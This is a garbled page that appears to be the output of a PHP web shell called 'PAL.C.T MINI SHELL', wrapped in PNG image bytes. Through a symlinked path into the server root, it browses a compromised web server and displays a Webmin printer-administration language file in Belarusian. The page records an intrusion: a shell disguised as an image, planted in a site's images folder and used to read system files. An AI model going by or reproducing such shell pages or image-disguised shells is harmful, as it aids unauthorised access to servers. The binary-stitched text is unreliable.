php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/lpadmin/lang/
upload
files >> /var/www/html/sub/images/Rm19_symconf/root/usr/libexec/webmin/lpadmin/lang/be.auto

index_title=Адміністрацыя друкарні
index_header=Даступныя прынтэры
index_name=Друкаркі
index_desc=Апісанне
index_to=Друк у
index_driver=Кіроўца
index_enabled=Уключаны?
index_accepting=Прымаю?
index_jobs=Праца
index_none=У гэтай сістэме не ўстаноўлены прынтэры.
index_list=Спіс ..
index_jlist=Праца ..
index_jcount=$1 задання ..
index_add=Дадайце новы прынтэр.
index_stop=Спыніць раскладчык
index_stopmsg=Націсніце гэтую кнопку, каб спыніць запушчаны працэс планавання друку. Гэта прадухіліць друк мясцовых альбо аддаленых карыстальнікаў у вашай сістэме.
index_start=Запусціце раскладчык
index_startmsg=Націсніце гэтую кнопку, каб пачаць працэс планавання друку. Гэта дазволіць мясцовым і аддаленым карыстальнікам друкаваць у вашай сістэме.
index_restart=Перазагрузіце планавальнік
index_restartmsg=Націсніце гэтую кнопку, каб перазапусціць працэс планавання друку. Гэта прымусіць прымяняць бягучую канфігурацыю друку.
index_return=спіс прынтараў
index_esystem=Альбо ўсталюйце праграмнае забеспячэнне для абранай сістэмы друку альбо скарыстайцеся канфігурацыяй модуля <a href='$1'></a>.
index_style=Сістэма друку: $1 
index_cluster=Серверы кластараў
index_clusterdesc=Націсніце гэтую кнопку, каб наладзіць дадатковыя серверы Webmin, на якіх будуць створаны, абноўлены і выдалены прынтэры.
index_delete=Выдаліць выбраныя прынтэры

style_solaris=Салярыс
style_linux=Linux LPR
style_freebsd=FreeBSD LPR
style_hpux=HPUX
style_lprng=LPRng
style_unixware=UnixWare
style_cups=CUPS
style_irix=IRIX
style_aix=AIX

edit_eedit=Вам не дазволена рэдагаваць гэты прынтэр
edit_eadd=Вам не дазволена дадаваць друкаркі
edit_add=Стварэнне друкаркі
edit_edit=Рэдагаваць прынтэр
edit_conf=Канфігурацыя друкаркі
edit_name=Імя
edit_acc=Прымаеце запыты?
edit_why=Не - чаму б і не
edit_desc=Апісанне
edit_ena=Друк уключаны?
edit_acl=Кіраванне доступам
edit_allow=Дазволіць усім
edit_deny=Адмаўляць усім
edit_allowu=Дазволіць пералічаным карыстальнікам ..
edit_denyu=Забараніць карыстальнікаў у спісе ..
edit_banner=Друкаваць банер?
edit_opt=Неабавязкова
edit_default=Прынтэры па змаўчанні?
edit_already=Ужо прынтэр па змаўчанні
edit_max=Максімальны памер заданні для друку
edit_unlimited=Неабмежаваны
edit_dacc=Вадзіцель прымае
edit_dtext=Тэкст
edit_dpost=Прыпіска
edit_dother=Іншыя
edit_alt=Альтэрнатыўныя назвы друкаркі
edit_dest=Адпраўка друку
edit_dev=Лакальная прылада
edit_file=Лакальны файл
edit_remote=Аддалены сервер Unix
edit_rqueue=Друкаркі
edit_type=Тып
edit_smb=Аддалены сервер Windows
edit_share=Друкаркі
edit_user=Карыстальнік
edit_pass=Пароль
edit_wgroup=Рабочая група
edit_hpnp=Аддалены сервер HPNP
edit_port=Порт
edit_direct=Прамое злучэнне TCP
edit_dport=Порт
edit_driver=Драйвер друкаркі
edit_check=Праверце, ці аддалены сервер?

blocks=блокі

save_err=Не атрымалася захаваць друкарку
save_eadd=Вам не дазволена дадаваць друкаркі
save_eedit=Вам не дазволена рэдагаваць гэты прынтэр
save_ename='$1' - няправільнае імя друкаркі
save_edup=Прынтэр з назвай "$1" ужо існуе
save_eallow=Няма дазволеных карыстальнікаў
save_edeny=Карыстальнікі не могуць адмовіць
save_euser=Карыстальнік "$1" не існуе
save_etype=Вы павінны выбраць па меншай меры адзін тып, каб гэты драйвер прыняў
save_emax=Максімальны памер заданні для друку павінен быць цэлым
save_efile='$1' не існуе
save_erhost=Аддалены хост '$1' не існуе
save_erport=Аддалены порт "$1" несапраўдны
save_erqueue='$1' не з'яўляецца сапраўдным аддаленым імем чаргі
save_eremote=Драйверы нельга выкарыстоўваць з аддаленымі друкаркамі Unix
save_edhost=Прамога хаста '$1' не існуе
save_edport=Адсутнічае альбо несапраўдны непасрэдны порт
save_evalid=Сістэма друку не дазволіла гэты прынтэр
save_errslave=Прынтэр стварыў нармальна ў гэтай сістэме, але ў кластарных сістэмах адбыліся наступныя памылкі : $1 
save_egone=Прынтэр з назвай "$1" не знойдзены
save_errdelslave=Прынтэр выдалены з гэтай сістэмы ў парадку, але ў кластарных сістэмах адбыліся наступныя памылкі : $1 

jobs_title=Вакансіі для друку
jobs_header=Заданні для друку на $1 
jobs_id=ID працы
jobs_size=Памер
jobs_by=Прадстаўлены
jobs_when=Прадстаўлена ў
jobs_file=Імя файла
jobs_cancel=Каб адмяніць, націсніце ідэнтыфікатар працы са спісу вышэй.
jobs_cancelview=Націсніце на ідэнтыфікацыю заданні са спісу вышэй, каб адмяніць, альбо націсніце памер задання, каб прагледзець яго.
jobs_none=У прынтэра $1 няма ніякіх чаканых заданняў.
jobs_all=Адмяніць усе заданні на друк
jobs_bytes=байт
jobs_test=Друк тэставай старонкі
jobs_cancelsel=Адмяніць выбраныя заданні
jobs_on=На прынтары $1 
jobs_return=спіс заданняў для друку

cancel_ecannot=Вам нельга адмяняць заданні для друку
cancel_err=Не атрымалася адмяніць заданне друку
cancel_egone=Заданне для друку $1 больш не існуе

view_ecannot=Вы не можаце прагледзець гэтае заданне для друку
view_egone=Гэтай задачай для друку больш не існуе

start_ecannot=Вам не дазваляецца запускаць планавальнік
start_err=Не атрымалася запусціць планавальнік

stop_ecannot=Вам забаронена спыняць планавальнік
stop_err=Не атрымалася спыніць планавальнік

restart_ecannot=Вам не дазволена перазагрузка планавальніка
restart_err=Не атрымалася перазагрузіць планавальнік

webmin_none=Не
webmin_nonemsg=Прыпіска альбо тэкставы прынтэр
webmin_remotemsg=Аддалены прынтэр
webmin_model=Мадэль
webmin_prog=Праграма
webmin_driver=Драйвер Webmin
webmin_uniprint=Драйвер Uniprint
webmin_edrivers=Не атрымалася атрымаць драйвераў ад $1. Драйверы прынтэраў Webmin з выкарыстаннем ghostscript недаступныя
webmin_egs=Каманда $1 не знойдзена. Драйверы прынтэраў Webmin з выкарыстаннем ghostscript недаступныя
webmin_edriver='$1' не існуе

caldera_none=Не
caldera_nonemsg=Аддалены альбо неапрацаваны прынтэр
caldera_prog=Праграма
caldera_coas=COAS кіроўца
caldera_printer=Прынтэр і дазвол
caldera_eof=Адправіць EOF?
caldera_paper=Памер паперы
caldera_double=Друк двухбаковы?
caldera_gsopts=Дадатковыя параметры GS
caldera_uniprint=Драйвер Uniprint
caldera_eprog='$1' не існуе
caldera_edriver=Не абраны драйвер друкаркі
caldera_eres=Не выбрана дазвол

redhat_none=Не
redhat_nonemsg=Прыпіска альбо тэкставы прынтэр
redhat_prog=Праграма
redhat_driver=Redhat кіроўца
redhat_printer=Прынтэр і дазвол
redhat_eof=Адправіць EOF?
redhat_paper=Памер паперы
redhat_pages=Старонкі на старонцы вываду
redhat_gsopts=Дадатковыя параметры GS
redhat_hmargin=Правы/левы край
redhat_vmargin=Верхняя/ніжняя палі
redhat_crlf=Выправіць лесвічны крок?
redhat_eprog='$1' не існуе
redhat_edriver=Не абраны драйвер друкаркі
redhat_ehmargin=Адсутнічае альбо недапушчальны правы/левы запас
redhat_evmargin=Адсутнічае альбо недапушчальны верх/ніз поля
redhat_eres=Не выбрана дазвол
redhat_printer2=Мадэль друкаркі і драйвер

suse_none=Не
suse_nonemsg=Прыпіска альбо тэкставы прынтэр
suse_prog=Праграма
suse_driver=Кіроўца APSfilter
suse_printer=Тып друкаркі
suse_res=Дазвол у DPI
suse_colour=Каляровы прынтэр?
suse_paper=Памер паперы
suse_method=Метад фільтравання
suse_auto=Аўтаматычная
suse_ascii=ASCII
suse_raw=Сырыя
suse_extra=Дадатковыя параметры прывідаў
suse_yast2=Кіроўца YAST2
suse_edriver=Не абраны тып друкаркі
suse_eres=Адсутнічае альбо недапушчальнае дазвол

estop=Не атрымалася спыніць lpd : $1 

acl_printers=Прынтэры, якія гэты карыстальнік можа наладзіць
acl_add=Ці можна дадаць новыя прынтэры?
acl_cancel=Ці можна адмяніць заданні для друку?
acl_stop=Можа спыніцца ці запусціць планавальнік?
acl_restart=Перазагрузка толькі
acl_listed=Толькі на выбраных друкарках ..
acl_pall=Усе друкаркі
acl_psel=Абраны ..
acl_view=Паказаць несанкцыянаваныя прынтэры?
acl_test=Ці можна раздрукоўваць тэставыя старонкі?
acl_user=Кіруйце задачамі друку, якія належаць
acl_user_all=Усе карыстальнікі
acl_user_this=Бягучы карыстальнік Webmin
acl_delete=Ці можна выдаліць прынтэры?
acl_cluster=Ці можна кіраваць кластарам друкаркі?

log_stop=Спынены планавальнік друку
log_start=Пачаў планавальнік друку
log_restart=Адноўлены планіроўшчык друку
log_cancel_job=Заданне на друк $2 на $1 
log_cancel_all=Адменены ўсе заданні на друк на $1 
log_cancel_sel=Адменены заданні друку $2 на $1 
log_create=Створана друкарка $1 на $2 
log_modify=Мадыфікаваны прынтэр $1 на $2 
log_delete=Выдалены прынтэр $1 на $2 
log_create_l=Створана друкарка $3 $1 на $2 
log_modify_l=Зменены $3 друкаркі $1 на $2 
log_delete_l=Выдалены друкаркі $3 $1 на $2 

linux_paralel=Порт паралелі $1 
linux_serial=Паслядоўны порт $1 (COM $1)
linux_null=Нулявая прылада
linux_usb=USB-прынтэр $1 
linux_ecmd=Каманда $1 не была знойдзена ў вашай сістэме, што азначае, што сістэма друку Linux не ўстаноўлена.
linux_espool=Каталог шпулек $1 не існуе ў вашай сістэме, што азначае, што сістэма друку Linux не ўстаноўлена.

freebsd_paralel=Порт паралельны
freebsd_serial=Паслядоўны порт $1 (COM $1)
freebsd_ecmd=У вашай сістэме не знойдзена каманда $1, што паказвае на тое, што сістэма друку FreeBSD не ўсталявана.
freebsd_espool=Каталог шпулек $1 не існуе ў вашай сістэме, што азначае, што сістэма друку FreeBSD не ўсталявана.

openbsd_paralel=Порт паралельны
openbsd_serial=Паслядоўны порт $1 (COM $1)

unixware_paralel=Порт паралелі $1 
unixware_serial=Паслядоўны порт $1 
unixware_null=Нулявая прылада
unixware_ecmd=У вашай сістэме не знойдзена каманда $1, што паказвае на тое, што сістэма друку UnixWare не ўсталявана.

hpux_paralel=Паралель $1 
hpux_serial=Серыйны $1 
hpux_null=Нулявая прылада
hpux_ecmd=У вашай сістэме не знойдзена каманда $1, якая паказвае, што сістэма друку HPUX не ўстаноўлена.
hpux_eiface=Каталог сцэнарыяў інтэрфейсу $1 не існуе ў вашай сістэме, што азначае, што сістэма друку HPUX не ўстаноўлена.

lprng_paralel=Порт паралелі $1 
lprng_serial=Паслядоўны порт $1 (COM $1)
lprng_null=Нулявая прылада
lprng_ecmd=У вашай сістэме не знойдзена каманда $1, што паказвае на тое, што сістэма друку LPRng не ўстаноўлена.
lprng_espool=Каталог шпулек $1 не існуе ў вашай сістэме, што азначае, што сістэма друку LPRng не ўсталявана.

solaris_paralel=Порт паралельны
solaris_uparalel=Ультра 5/10 паралельны порт
solaris_serial=Паслядоўны порт $1 
solaris_null=Нулявая прылада
solaris_ecmd=У вашай сістэме не знойдзена каманда $1, што паказвае на тое, што сістэма друку Solaris не ўстаноўлена.

test_title=Друк тэставай старонкі
test_ecannot=Вам не дазволена друкаваць тэставыя старонкі
test_desc=Гэтая форма дазваляе раздрукаваць тэставую старонку для друкаркі $1. Выберыце тып старонкі, якую вы хочаце надрукаваць :
test_0=Чорна-белая старонка прыпіскі
test_1=Колер старонкі сцэнарыя
test_2=Звычайны тэкст ASCII
test_3=Любы загружаны файл
test_print=Надрукаваць старонку
test_exec=Друк тэставай старонкі з камандай $1.
test_failed=.. каманда не атрымалася!
test_ok=.. каманда завершана.

cups_none=Не
cups_nonemsg=Аддалены альбо неапрацаваны прынтэр
cups_prog=Праграма
cups_driver=Кіроўца CUPS
cups_eprog='$1' не з'яўляецца сапраўднай праграмай
cups_opts=Варыянты $1 
cups_ecmd=У вашай сістэме не знойдзена каманда $1, якая паказвае, што сістэма друку CUPS не ўсталявана.

irix_ecmd=Каманда $1 не знойдзена ў вашай сістэме, што азначае, што сістэма друку IRIX не ўсталявана.
irix_eiface=Каталог сцэнарыяў інтэрфейсу $1 не існуе ў вашай сістэме, што азначае, што сістэма друку IRIX не ўсталявана.

aix_port=Порт друкаркі $1 
aix_edesc=Няправільнае апісанне - дазваляюцца толькі літары і лічбы, без прабелаў
aix_ecmd=Сервер друкаркі AIX $1 не знойдзены. Магчыма, ён не ўстаноўлены, альбо іншая сістэма друку выкарыстоўваецца.

cluster_title=Серверы кластарных друкарак
cluster_none=У кластар друкаркі пакуль не дададзены серверы.
cluster_host=Імя хаста
cluster_desc=Апісанне
cluster_os=Аперацыйная сістэма
cluster_add=Дадаць сервер
cluster_gadd=Даданне сервераў у групу
cluster_need=Вы павінны дадаць серверы з лагінам і паролем у модулі індэкса Webmin Servers Index, каб імі кіраваць тут.
cluster_return=серверы кластараў
cluster_delete=Выдаліць выбранае
cluster_ecannot=Вам не дазволена кіраваць серверамі кластарных друкарак

add_title=Дадаць серверы
add_msg=Даданне $1.
add_gmsg=Даданне сервераў у групу $1.
add_err=Не атрымалася дадаць сервер
add_gerr=Не атрымалася дадаць групу
add_echeck=Сервер $1 не мае модуля адміністравання прынтэра
add_ediff=Сервер $1 выкарыстоўвае іншую сістэму друку ($2) на гэтым серверы
add_ediff2=Сервер $1 выкарыстоўвае іншы драйвер друку ($2) для гэтага сервера
add_ok=Дададзены $1, з друкаркамі $2.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`